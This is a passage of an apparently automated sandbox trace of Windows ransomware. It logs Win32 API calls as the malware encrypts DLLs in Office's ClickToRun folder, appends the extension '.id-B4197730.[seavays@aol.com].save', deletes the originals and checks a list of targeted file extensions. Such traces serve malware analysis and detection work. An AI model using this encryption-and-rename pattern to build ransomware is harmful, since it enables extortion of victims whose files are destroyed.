nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0x0, lpOverlapped=0x0) returned 1 [0069.202] WriteFile (in: hFile=0x34c, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0xf6, lpOverlapped=0x0) returned 1 [0069.202] SetEndOfFile (hFile=0x34c) returned 1 [0069.203] CloseHandle (hObject=0x34c) returned 1 [0069.216] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0069.216] SetEndOfFile (hFile=0x384) returned 1 [0069.222] CloseHandle (hObject=0x384) returned 1 [0069.222] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0069.247] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvscripting.dll")) returned 1 [0069.247] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll") returned 75 [0069.247] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll") returned 75 [0069.247] lstrlenW (lpString=".doc") returned 4 [0069.247] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0069.247] lstrlenW (lpString=".docx") returned 5 [0069.247] lstrcmpiW (lpString1=".docx", lpString2="g.dll") returned -1 [0069.247] lstrlenW (lpString=".pdf") returned 4 [0069.248] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0069.248] lstrlenW (lpString=".xls") returned 4 [0069.248] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0069.248] lstrlenW (lpString=".xlsx") returned 5 [0069.248] lstrcmpiW (lpString1=".xlsx", lpString2="g.dll") returned -1 [0069.248] lstrlenW (lpString=".ppt") returned 4 [0069.248] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0069.248] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll") returned 75 [0069.248] lstrlenW (lpString=".zip") returned 4 [0069.248] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0069.248] lstrlenW (lpString=".rar") returned 4 [0069.248] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0069.248] lstrlenW (lpString=".bz2") returned 4 [0069.248] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0069.248] lstrlenW (lpString=".7z") returned 3 [0069.248] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0069.248] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll") returned 75 [0069.248] lstrlenW (lpString=".dbf") returned 4 [0069.248] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0069.248] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll") returned 75 [0069.248] lstrlenW (lpString=".1cd") returned 4 [0069.248] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0069.248] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll") returned 75 [0069.248] lstrlenW (lpString=".jpg") returned 4 [0069.248] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0069.248] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll") returned 75 [0069.249] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll") returned 75 [0069.249] lstrlenW (lpString=".doc") returned 4 [0069.249] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0069.249] lstrlenW (lpString=".docx") returned 5 [0069.249] lstrcmpiW (lpString1=".docx", lpString2="g.dll") returned -1 [0069.249] lstrlenW (lpString=".pdf") returned 4 [0069.249] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0069.249] lstrlenW (lpString=".xls") returned 4 [0069.249] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0069.249] lstrlenW (lpString=".xlsx") returned 5 [0069.249] lstrcmpiW (lpString1=".xlsx", lpString2="g.dll") returned -1 [0069.249] lstrlenW (lpString=".ppt") returned 4 [0069.249] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0069.249] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll") returned 75 [0069.249] lstrlenW (lpString=".zip") returned 4 [0069.249] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0069.249] lstrlenW (lpString=".rar") returned 4 [0069.249] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0069.249] lstrlenW (lpString=".bz2") returned 4 [0069.249] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0069.249] lstrlenW (lpString=".7z") returned 3 [0069.249] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0069.249] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll") returned 75 [0069.249] lstrlenW (lpString=".dbf") returned 4 [0069.249] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0069.249] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll") returned 75 [0069.249] lstrlenW (lpString=".1cd") returned 4 [0069.250] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0069.250] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll") returned 75 [0069.250] lstrlenW (lpString=".jpg") returned 4 [0069.250] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0069.250] lstrcmpiW (lpString1=".dll", lpString2=".save") returned -1 [0069.250] lstrlenW (lpString="C2R32.dll") returned 9 [0069.250] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r32.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0069.251] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x25cff14 | out: lpFileSize=0x25cff14*=820416) returned 1 [0069.251] CloseHandle (hObject=0x384) returned 1 [0069.251] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r32.dll")) returned 0x20 [0069.251] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r32.dll.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0069.251] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r32.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0069.251] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0069.251] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0069.251] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r32.dll.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0069.252] GetLastError () returned 0x0 [0069.252] ReadFile (in: hFile=0x384, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0xc84c0, lpOverlapped=0x0) returned 1 [0069.554] WriteFile (in: hFile=0x34c, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xc84d0, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0xc84d0, lpOverlapped=0x0) returned 1 [0069.570] ReadFile (in: hFile=0x384, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0x0, lpOverlapped=0x0) returned 1 [0069.570] WriteFile (in: hFile=0x34c, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0xe6, lpOverlapped=0x0) returned 1 [0069.570] SetEndOfFile (hFile=0x34c) returned 1 [0069.570] CloseHandle (hObject=0x34c) returned 1 [0071.178] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0071.178] SetEndOfFile (hFile=0x384) returned 1 [0071.195] CloseHandle (hObject=0x384) returned 1 [0071.196] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0071.196] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r32.dll")) returned 1 [0071.197] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll") returned 67 [0071.197] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll") returned 67 [0071.197] lstrlenW (lpString=".doc") returned 4 [0071.197] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0071.197] lstrlenW (lpString=".docx") returned 5 [0071.197] lstrcmpiW (lpString1=".docx", lpString2="2.dll") returned -1 [0071.197] lstrlenW (lpString=".pdf") returned 4 [0071.197] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0071.197] lstrlenW (lpString=".xls") returned 4 [0071.197] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0071.197] lstrlenW (lpString=".xlsx") returned 5 [0071.197] lstrcmpiW (lpString1=".xlsx", lpString2="2.dll") returned -1 [0071.197] lstrlenW (lpString=".ppt") returned 4 [0071.197] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0071.197] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll") returned 67 [0071.197] lstrlenW (lpString=".zip") returned 4 [0071.197] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0071.197] lstrlenW (lpString=".rar") returned 4 [0071.197] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0071.197] lstrlenW (lpString=".bz2") returned 4 [0071.197] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0071.197] lstrlenW (lpString=".7z") returned 3 [0071.197] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0071.197] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll") returned 67 [0071.198] lstrlenW (lpString=".dbf") returned 4 [0071.198] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0071.198] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll") returned 67 [0071.198] lstrlenW (lpString=".1cd") returned 4 [0071.198] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0071.198] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll") returned 67 [0071.198] lstrlenW (lpString=".jpg") returned 4 [0071.198] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0071.198] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll") returned 67 [0071.198] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll") returned 67 [0071.198] lstrlenW (lpString=".doc") returned 4 [0071.198] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0071.198] lstrlenW (lpString=".docx") returned 5 [0071.198] lstrcmpiW (lpString1=".docx", lpString2="2.dll") returned -1 [0071.198] lstrlenW (lpString=".pdf") returned 4 [0071.198] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0071.198] lstrlenW (lpString=".xls") returned 4 [0071.198] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0071.198] lstrlenW (lpString=".xlsx") returned 5 [0071.198] lstrcmpiW (lpString1=".xlsx", lpString2="2.dll") returned -1 [0071.198] lstrlenW (lpString=".ppt") returned 4 [0071.198] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0071.198] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll") returned 67 [0071.198] lstrlenW (lpString=".zip") returned 4 [0071.198] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0071.198] lstrlenW (lpString=".rar") returned 4 [0071.199] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0071.199] lstrlenW (lpString=".bz2") returned 4 [0071.199] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0071.199] lstrlenW (lpString=".7z") returned 3 [0071.199] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0071.199] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll") returned 67 [0071.199] lstrlenW (lpString=".dbf") returned 4 [0071.199] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0071.199] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll") returned 67 [0071.199] lstrlenW (lpString=".1cd") returned 4 [0071.199] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0071.199] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll") returned 67 [0071.199] lstrlenW (lpString=".jpg") returned 4 [0071.199] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0071.199] lstrcmpiW (lpString1=".dll", lpString2=".save") returned -1 [0071.199] lstrlenW (lpString="concrt140.dll") returned 13 [0071.210] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\concrt140.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0071.212] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x25cff14 | out: lpFileSize=0x25cff14*=332968) returned 1 [0071.212] CloseHandle (hObject=0x384) returned 1 [0071.212] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\concrt140.dll")) returned 0x20 [0071.212] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\concrt140.dll.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0071.212] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\concrt140.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0071.212] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0071.213] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0071.213] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\concrt140.dll.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0071.213] GetLastError () returned 0x0 [0071.213] ReadFile (in: hFile=0x384, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0x514a8, lpOverlapped=0x0) returned 1 [0071.928] WriteFile (in: hFile=0x34c, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x514b0, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0x514b0, lpOverlapped=0x0) returned 1 [0071.936] ReadFile (in: hFile=0x384, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0x0, lpOverlapped=0x0) returned 1 [0071.936] WriteFile (in: hFile=0x34c, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0xee, lpOverlapped=0x0) returned 1 [0071.937] SetEndOfFile (hFile=0x34c) returned 1 [0071.937] CloseHandle (hObject=0x34c) returned 1 [0071.937] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0071.937] SetEndOfFile (hFile=0x384) returned 1 [0071.941] CloseHandle (hObject=0x384) returned 1 [0071.941] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0071.941] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\concrt140.dll")) returned 1 [0071.941] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll") returned 71 [0071.942] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll") returned 71 [0071.942] lstrlenW (lpString=".doc") returned 4 [0071.942] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0071.942] lstrlenW (lpString=".docx") returned 5 [0071.942] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0071.942] lstrlenW (lpString=".pdf") returned 4 [0071.942] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0071.942] lstrlenW (lpString=".xls") returned 4 [0071.942] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0071.942] lstrlenW (lpString=".xlsx") returned 5 [0071.942] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0071.942] lstrlenW (lpString=".ppt") returned 4 [0071.942] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0071.942] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll") returned 71 [0071.942] lstrlenW (lpString=".zip") returned 4 [0071.942] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0071.942] lstrlenW (lpString=".rar") returned 4 [0071.942] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0071.942] lstrlenW (lpString=".bz2") returned 4 [0071.942] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0071.942] lstrlenW (lpString=".7z") returned 3 [0071.942] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0071.942] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll") returned 71 [0071.942] lstrlenW (lpString=".dbf") returned 4 [0071.942] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0071.942] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll") returned 71 [0071.942] lstrlenW (lpString=".1cd") returned 4 [0071.942] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0071.942] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll") returned 71 [0071.943] lstrlenW (lpString=".jpg") returned 4 [0071.943] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0071.943] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll") returned 71 [0071.943] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll") returned 71 [0071.943] lstrlenW (lpString=".doc") returned 4 [0071.943] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0071.943] lstrlenW (lpString=".docx") returned 5 [0071.943] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0071.943] lstrlenW (lpString=".pdf") returned 4 [0071.943] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0071.943] lstrlenW (lpString=".xls") returned 4 [0071.943] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0071.943] lstrlenW (lpString=".xlsx") returned 5 [0071.943] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0071.943] lstrlenW (lpString=".ppt") returned 4 [0071.943] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0071.943] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll") returned 71 [0071.943] lstrlenW (lpString=".zip") returned 4 [0071.943] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0071.943] lstrlenW (lpString=".rar") returned 4 [0071.943] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0071.943] lstrlenW (lpString=".bz2") returned 4 [0071.943] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0071.943] lstrlenW (lpString=".7z") returned 3 [0071.943] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0071.943] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll") returned 71 [0071.943] lstrlenW (lpString=".dbf") returned 4 [0071.944] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0071.944] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll") returned 71 [0071.944] lstrlenW (lpString=".1cd") returned 4 [0071.944] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0071.944] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll") returned 71 [0071.944] lstrlenW (lpString=".jpg") returned 4 [0071.944] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0071.944] lstrcmpiW (lpString1=".dll", lpString2=".save") returned -1 [0071.944] lstrlenW (lpString="mso20win32client.dll") returned 20 [0071.944] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0071.944] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x25cff14 | out: lpFileSize=0x25cff14*=3144288) returned 1 [0071.945] CloseHandle (hObject=0x384) returned 1 [0071.945] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll")) returned 0x20 [0071.945] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0071.945] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll.id-b4197730.[seavays@aol.com].save")) returned 1 [0071.946] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0071.946] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0071.946] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll.id-b4197730.[seavays@aol.com].save"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll")) returned 1 [0071.947] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll") returned 78 [0071.947] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll") returned 78 [0071.947] lstrlenW (lpString=".doc") returned 4 [0071.947] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0071.947] lstrlenW (lpString=".docx") returned 5 [0071.947] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0071.947] lstrlenW (lpString=".pdf") returned 4 [0071.947] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0071.947] lstrlenW (lpString=".xls") returned 4 [0071.947] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0071.947] lstrlenW (lpString=".xlsx") returned 5 [0071.947] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0071.947] lstrlenW (lpString=".ppt") returned 4 [0071.947] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0071.947] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll") returned 78 [0071.947] lstrlenW (lpString=".zip") returned 4 [0071.947] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0071.947] lstrlenW (lpString=".rar") returned 4 [0071.947] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0071.947] lstrlenW (lpString=".bz2") returned 4 [0071.947] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0071.947] lstrlenW (lpString=".7z") returned 3 [0071.947] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0071.948] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll") returned 78 [0071.948] lstrlenW (lpString=".dbf") returned 4 [0071.948] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0071.948] lstrlenW 